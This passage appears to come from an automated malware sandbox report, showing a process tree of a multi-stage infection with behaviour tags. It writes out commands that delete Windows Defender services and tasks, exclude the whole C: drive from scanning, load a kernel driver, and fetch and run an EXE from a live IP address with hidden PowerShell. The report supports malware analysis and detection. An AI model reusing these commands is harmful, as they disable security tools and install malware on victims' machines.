        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A6CA.tmp\A6CB.tmp\A6CC.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
        10⤵
        
        PID:5272
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:224
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:4368
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:6004
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:6812
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:6536
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6796
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6788
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:6780
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:6504
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:6492
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:6476
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:6464
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:6440
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:6412
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:6380
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:6360
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:6352
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:6332
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:6296
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:6280
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:6268
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        Modifies security service
        
        PID:6248
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:6768
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:6756
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:6740
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:6720
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:6708
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:6688
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:6676
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:6660
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:6948
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:6936
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:6964
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:6976
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:6988
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:7004
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:7020
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:7040
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:7060
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:7064
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:7080
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:7096
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:7112
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:7128
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:7148
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:2908
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:7172
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:7192
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:6892
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:4364
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:3872
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:4472
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:7224
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:7516
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:7288
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:7316
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:7388
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:7156
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:7524
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:7552
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:7604
      - C:\Users\Admin\AppData\Local\Temp\10476550101\16f4ede35a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476550101\16f4ede35a.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4900
      - C:\Users\Admin\AppData\Local\Temp\10476560101\725556dd67.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476560101\725556dd67.exe"
        6⤵
        Executes dropped EXE
        
        PID:4800
      - C:\Users\Admin\AppData\Local\Temp\10476570101\c9c2562d45.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476570101\c9c2562d45.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5652
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn JhuYymaNd8J /tr "mshta C:\Users\Admin\AppData\Local\Temp\4Jx7AqH14.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1792
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn JhuYymaNd8J /tr "mshta C:\Users\Admin\AppData\Local\Temp\4Jx7AqH14.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3716
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\4Jx7AqH14.hta
        7⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:5192
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5892
        
        C:\Users\Admin\AppData\Local\Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
        
        "C:\Users\Admin\AppData\Local\Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6592
      - C:\Users\Admin\AppData\Local\Temp\10476580101\322dd7b2d9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476580101\322dd7b2d9.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5688
      - C:\Users\Admin\AppData\Local\Temp\10476590101\VrQSuEQ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476590101\VrQSuEQ.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6740
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:6704
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6708
      - C:\Users\Admin\AppData\Local\Temp\10476600101\UZPt0hR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476600101\UZPt0hR.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:7072
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        7⤵
        
        PID:7108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:7192
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        7⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:7144
        
        C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        8⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:6632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:13112
        
        C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        8⤵
        Deletes itself
        Executes dropped EXE
        
        PID:5192
        
        C:\Users\Admin\AppData\Local\Temp\{04621309-585f-4aef-9deb-1d2334e11c0c}\6a6a40f5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{04621309-585f-4aef-9deb-1d2334e11c0c}\6a6a40f5.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        9⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        
        PID:2308
      - C:\Users\Admin\AppData\Local\Temp\10476610101\RYZusWg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476610101\RYZusWg.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:7656
      - C:\Users\Admin\AppData\Local\Temp\10476620101\n0hEgR9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476620101\n0hEgR9.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:952
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5004
      - C:\Users\Admin\AppData\Local\Temp\10476630101\mTk60rz.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476630101\mTk60rz.exe"
        6⤵
        Executes dropped EXE
        
        PID:6500
        
        C:\Users\Admin\AppData\Local\Temp\onefile_6500_133884104546081556\ZSoeRVBe.exe
        
        C:\Users\Admin\AppData\Local\Temp\10476630101\mTk60rz.exe
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:2836
      - C:\Users\Admin\AppData\Local\Temp\10476640101\LJl8AAr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476640101\LJl8AAr.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:11680
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:11792
      - C:\Users\Admin\AppData\Local\Temp\10476650101\larBxd7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476650101\larBxd7.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:12848
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:13016
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:11956
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:12344
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:12040
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:12032
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 689912
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:12144
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Exclusion.psd
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:12244
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "users" Findarticles
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:12780
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:12868
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:12972
        
        C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
        
        Jordan.com b
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:13096
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5372
      - C:\Users\Admin\AppData\Local\Temp\10476660101\qhjMWht.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476660101\qhjMWht.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6716
      - C:\Users\Admin\AppData\Local\Temp\10476670101\5uMVCoG.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476670101\5uMVCoG.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2000
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:6940
      - C:\Users\Admin\AppData\Local\Temp\10476680101\amnew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476680101\amnew.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:7356
        
        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        7⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:7524
        
        C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:536
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:452
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:7468
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffa8314dcf8,0x7ffa8314dd04,0x7ffa8314dd10
        11⤵
        
        PID:7500
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=fallback-handler --database="C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --exception-pointers=73358042234880 --process=276 /prefetch:7 --thread=8080
        12⤵
        Drops file in Program Files directory
        
        PID:7680
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2060,i,14851190307240307156,7281776396382224444,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2008 /prefetch:2
        11⤵
        Drops file in Program Files directory
        
        PID:6620
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2288,i,14851190307240307156,7281776396382224444,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2284 /prefetch:3
        11⤵
        Drops file in Program Files directory
        
        PID:5040
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2268,i,14851190307240307156,7281776396382224444,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2212 /prefetch:8
        11⤵
        
        PID:1660
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        10⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:10216
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ffa8314dcf8,0x7ffa8314dd04,0x7ffa8314dd10
        11⤵
        
        PID:10204
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2016,i,9895378601786057410,18274336371447781397,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2012 /prefetch:2
        11⤵
        
        PID:10376
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2272,i,9895378601786057410,18274336371447781397,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2276 /prefetch:3
        11⤵
        
        PID:10392
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2420,i,9895378601786057410,18274336371447781397,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2580 /prefetch:8
        11⤵
        
        PID:10440
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2424,i,9895378601786057410,18274336371447781397,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3288 /prefetch:1
        11⤵
        Uses browser remote debugging
        Drops file in Program Files directory
        
        PID:10512
        
        C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe"
        8⤵
        Executes dropped EXE
        
        PID:5204
        
        C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10045380101\legendarik.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6544
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\10046340101\b31f75b50d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10046340101\b31f75b50d.exe"
        8⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:9220
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:9212
        
        C:\Users\Admin\AppData\Local\Temp\10053180101\2cbbe7803d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10053180101\2cbbe7803d.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:9472
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10053180101\2cbbe7803d.exe"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:9820
        
        C:\Users\Admin\AppData\Local\Temp\10053190101\707281e29a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10053190101\707281e29a.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:9664
      - C:\Users\Admin\AppData\Local\Temp\10476690101\8eee621e57.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476690101\8eee621e57.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5464
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 820
        7⤵
        Program crash
        
        PID:4924
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10476701121\ccosvAs.cmd"
        6⤵
